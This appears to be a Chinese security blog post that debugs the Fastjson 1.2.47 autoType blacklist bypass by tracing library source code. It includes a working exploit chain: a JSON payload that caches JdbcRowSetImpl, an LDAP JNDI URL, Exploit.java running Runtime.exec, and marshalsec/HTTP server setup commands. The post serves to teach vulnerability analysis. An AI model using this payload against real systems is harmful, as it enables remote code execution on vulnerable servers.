【技術分享】Fastjson <1.2.48 入門調試
fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
目前分析Fastjson漏洞的文章很多,每次分析文章出來后,都是過一眼就扔一邊了。正好最近在學習反序列化的內容,對<1.2.48版本的漏洞再做一次分析,借鑒和學習了很多大佬的文章, 這次盡量自己來做
環境搭建
使用Idea搭建一個空的maven項目,并且添加1.2.47版本的依賴
com.alibaba
fastjson
1.2.47
新建一個com.example的Package并在其目錄下創建一個FastjsonExp的類
//FastjsonExp.javapackage com.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;public class FastjsonExp { public static void main(String[] args) {
String payload="{n" + " "rand1": {n" + " "@type": "java.lang.Class", n" + " "val": "com.sun.rowset.JdbcRowSetImpl"n" + " }, n" + " "rand2": {n" + " "@type": "com.sun.rowset.JdbcRowSetImpl", n" + " "dataSourceName": "ldap://localhost:8088/Exploit", n" +
" "autoCommit": truen" + " }n" + "}";
JSON.parse(payload);
}
}
在java目錄新建一個Exploit.java,并編譯
//Exploit.javaimport java.io.IOException;public class Exploit { public Exploit() throws IOException {
Runtime.getRuntime().exec("galculator");
}
}
在編譯的Exploit.class類下,開啟一個HTTP服務python -m SimpleHTTPServer
使用marshalsec創建一個ldap接口:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8088
至此,環境搭建完畢
報錯

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:162)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:124)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:1078)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:773)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1283)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:384)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:544)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1356)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1322)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at com.example.FastjsonExp.main(FastjsonExp.java:29)
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:110)
... 14 more
Caused by: java.sql.SQLException: JdbcRowSet (connect) JNDI unable to connect
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
... 19 more
調試
在報錯的各個文件處,先設斷點:
首先進入的是JSON.java下的public static Object parse(String text), 此時DEFAULT_PARSER_FEATURE=989
接著是
//features=989, ParserConfig.getGlobalInstance()=
public static Object parse(String text, int features) { return parse(text, ParserConfig.getGlobalInstance(), features);
}
ParserConfig.getGlobalInstance()如下:com.alibaba.fastjson.parser.ParserConfig

其中deserializers變量為IdentityHashMap類,有一些可反序列化的類名,還可以看到autoTypeSupport=false
及定義的denyHashCodes,即黑名單配置
在public static Object parse(String text, ParserConfig config, int features)函數中
public static Object parse(String text, ParserConfig config, int features) { if (text == null) { return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close(); return value;
}
首先聲明了一個DefaultJSONParser,并調用其parse函數,所以主要的工作應該都是在這里完成的.
初始化類時,先加載了一些基礎類:
static {
Class[] classes = new Class[] { boolean.class, byte.class,
...
String.class
}; for (Class clazz : classes) {
primitiveClasses.add(clazz);
}
}
調用parser.parse()后, 繼續調用了parse(Object fieldName)函數
//DefaultJSONParser.java
public Object parse(Object fieldName) { final JSONLexer lexer = this.lexer; switch (lexer.token()) { case SET:
lexer.nextToken();
HashSet set = new HashSet();
parseArray(set, fieldName); return set; case TREE_SET:
lexer.nextToken();
TreeSet treeSet = new TreeSet();
parseArray(treeSet, fieldName); return treeSet; case LBRACKET:
JSONArray array = new JSONArray();
parseArray(array, fieldName); if (lexer.isEnabled(Feature.UseObjectArray)) { return array.toArray();
} return array; case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return parseObject(object, fieldName);// case LBRACE: {// Map map = lexer.isEnabled(Feature.OrderedField)// ? new LinkedHashMap()// : new HashMap();// Object obj = parseObject(map, fieldName);// if (obj != map) {// return obj;// }// return new JSONObject(map);// }
case LITERAL_INT:
Number intValue = lexer.integerValue();
lexer.nextToken(); return intValue; case LITERAL_FLOAT:
Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
lexer.nextToken(); return value; case LITERAL_STRING:
String stringLiteral = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA); if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
JSONScanner iso8601Lexer = new JSONScanner(stringLiteral); try { if (iso8601Lexer.scanISO8601DateIfMatch()) { return iso8601Lexer.getCalendar().getTime();
}
} finally {
iso8601Lexer.close();
}
} return stringLiteral; case NULL:
lexer.nextToken(); return null; case UNDEFINED:
lexer.nextToken(); return null; case TRUE:
lexer.nextToken(); return Boolean.TRUE; case FALSE:
lexer.nextToken(); return Boolean.FALSE; case NEW:
lexer.nextToken(JSONToken.IDENTIFIER); if (lexer.token() != JSONToken.IDENTIFIER) { throw new JSONException("syntax error");
}
lexer.nextToken(JSONToken.LPAREN);
accept(JSONToken.LPAREN); long time = ((Number) lexer.integerValue()).longValue();
accept(JSONToken.LITERAL_INT);
accept(JSONToken.RPAREN); return new Date(time); case EOF: if (lexer.isBlankInput()) { return null;
} throw new JSONException("unterminated json string, " + lexer.info()); case HEX: byte[] bytes = lexer.bytesValue();
lexer.nextToken(); return bytes; case IDENTIFIER:
String identifier = lexer.stringVal(); if ("NaN".equals(identifier)) {
lexer.nextToken(); return null;
} throw new JSONException("syntax error, " + lexer.info()); case ERROR: default: throw new JSONException("syntax error, " + lexer.info());
}
}其中this.lexer為JSONScanner類,如下:
lexer.token()=12, JSONToken中定義如下: 即lexer.token='{'
public final static int ERROR = 1; //
public final static int LITERAL_INT = 2; //
public final static int LITERAL_FLOAT = 3; //
public final static int LITERAL_STRING = 4; //
public final static int LITERAL_ISO8601_DATE = 5; public final static int TRUE = 6; //
public final static int FALSE = 7; //
public final static int NULL = 8; //
public final static int NEW = 9; //
public final static int LPAREN = 10; // ("("),
//
public final static int RPAREN = 11; // (")"),
//
public final static int LBRACE = 12; // ("{"),
//
public final static int RBRACE = 13; // ("}"),
//
public final static int LBRACKET = 14; // ("["),
//
public final static int RBRACKET = 15; // ("]"),
//
public final static int COMMA = 16; // (","),
//
public final static int COLON = 17; // (":"),
//
public final static int IDENTIFIER = 18; //
public final static int FIELD_NAME = 19; public final static int EOF = 20; public final static int SET = 21; public final static int TREE_SET = 22; public final static int UNDEFINED = 23; // undefined
public final static int SEMI = 24; public final static int DOT = 25; public final static int HEX = 26;
繼續調用在case LBRACE:分支: lexer.isEnabled(Feature.OrderedField)=false
//
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return parseObject(object, fieldName);
繼續調用parseObject(object, fieldName);在其中聲明了一個循環,來掃描字符串
Map map = object instanceof JSONObject ? ((JSONObject) object).getInnerMap() : object; boolean setContextFlag = false; for (;;) {
如果判斷目前的char='"',那么即將獲取的為key
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
獲取key后判斷是否有默認的DEFAULT_TYPE_KEY即:@type
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"'); if (lexer.isEnabled(Feature.IgnoreAutoType)) { continue;
}
繼續判斷是否為$ref
if (key == "$ref"
&& context != null
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
lexer.nextToken(JSONToken.LITERAL_STRING);
在判斷完key后, 進入設置content的環節
ParseContext contextR = setContext(object, fieldName); if (context == null) {
context = contextR;
}
setContextFlag = true;
繼續調用,解析嵌套對象, 此時key=rand1
if (!objParsed) {
obj = this.parseObject(input, key);
}
解析,嵌套對象時,此時獲取的key=@type, 滿足key == JSON.DEFAULT_TYPE_KEY, 判斷條件lexer.isEnabled(Feature.IgnoreAutoType)=false. 此時object對象為JSONObject而typeName=java.lang.Class, 所以進入了config.checkAutoType分支, lexer.getFeatures()=989
if (object != null
&& object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}
checkAutoType
在ParserConfig文件中, 其checkAutoType函數有多個判斷條件, 第一個條件為typeName的長度在3-128之間,
第二個判斷條件, 為是否支持的類型, 通過了一個計算:
final long BASIC = 0xcbf29ce484222325L; final long PRIME = 0x100000001b3L; final long h1 = (BASIC ^ className.charAt(0)) * PRIME; if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
} if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { throw new JSONException("autoType is not support. " + typeName);
} if (autoTypeSupport || expectClass != null) {
... //這里會使用二分法來查詢白名單,和黑名單,但是這里被繞過了,
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); if (clazz != null) { return clazz;
}
} if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName);
}
}
在判斷完以后,接著去檢測是否在map里,這里應該是參考文章提到的緩存
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
在mapping對象中,未找到的話,調用
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
此時進入了IdentityHashMap類,即前邊提到的ParserConfig.getGlobalInstance()中deserializers的類
相當于配置白名單。根據調試,第一個@type對象的java.lang.Class中deserializers.findClass(typeName)返回,
繼續掃描字符串
在第377行: ObjectDeserializer deserializer = config.getDeserializer(clazz);
跟進后在 objVal這一行, 獲取了值com.sun.rowset.JdbcRowSetImpl
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
繼續下去是一些類型的判斷如URI.class, File.class等 ,最后在clazz==Class.class這里
if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
其中strVal為com.sun.rowset.JdbcRowSetImpl。
在TypeUtil.loadClass中, 判斷不是[和L開頭的字符串后,進行下面的分支, 此時如果cache為true的話,那么就將該類放到mapping對象中
if(classLoader != null){
clazz = classLoader.loadClass(className); if (cache) {
mappings.put(className, clazz);
} return clazz;
}
而在TypeUtils中,調用該函數時, cache默認為true
public static Class loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, true);
}
繼續上述的過程,在判斷rand2時,同樣到了clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
此時由上一步的mapping.put, 在這里獲取到了class類, 為com.sun.rowset.JdbcRowSetImpl
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
} if (clazz != null) { if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} return clazz;
}
并且class!=null且expectClass==null, 直接return clazz,并未走到最后的if(!autoTypeSupport)分支,繞過了
接著進入了第一步設置的斷點處
JavaBeanDeserializer.java
protected Object parseRest(DefaultJSONParser parser
, Type type
, Object fieldName
, Object instance
, int features
, int[] setFlags) {
Object value = deserialze(parser, type, fieldName, instance, features, setFlags); return value;
}
在下列的循環中,遍歷fieldInfo的值,如果在字符串有的,配置了變量的值
String typeKey = beanInfo.typeKey; for (int fieldIndex = 0;; fieldIndex++) {
String key = null;
FieldDeserializer fieldDeser = null;
FieldInfo fieldInfo = null;
最后調用到fieldDeserializer.parseField(parser, object, objectType, fieldValues);
進入DefaultFieldDeserializer.java類,其parseField函數中,在最后調用的是
if (object == null) {
fieldValues.put(fieldInfo.name, value);
} else {
setValue(object, value);
}
此時object為:jdbcRowSetImpl類,而value為ldap://localhost:8080/Exploit
繼續下一輪,當這里為fieldInfo.name=autoCommit而value=true時,
在FieldDeserializer類中,調用其setValue函數,最后會執行到
method.invoke(object, value);
此時method=setAutoCommit, value=true
進入jdbcRowSetImpl類,其this.conn為null, 且dataSource=ldap://localhost:8088/Exploit
執行this.connect()會請求到惡意的ldap地址,造成命令執行
public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1);
} else { this.conn = this.connect(); this.conn.setAutoCommit(var1);
}
}
至此,分析完畢
總結: 因為用了兩次@type類型,第一次的時候java.lang.Class未在黑名單中,且通過序列化,將jdbcRowSetImpl類添加至了mappings對象,其作用是緩存, 在第二次解析到@type對象時, 直接在mappings對象中獲取了類,從而繞過了黑名單的檢測
導致了這一漏洞的發生。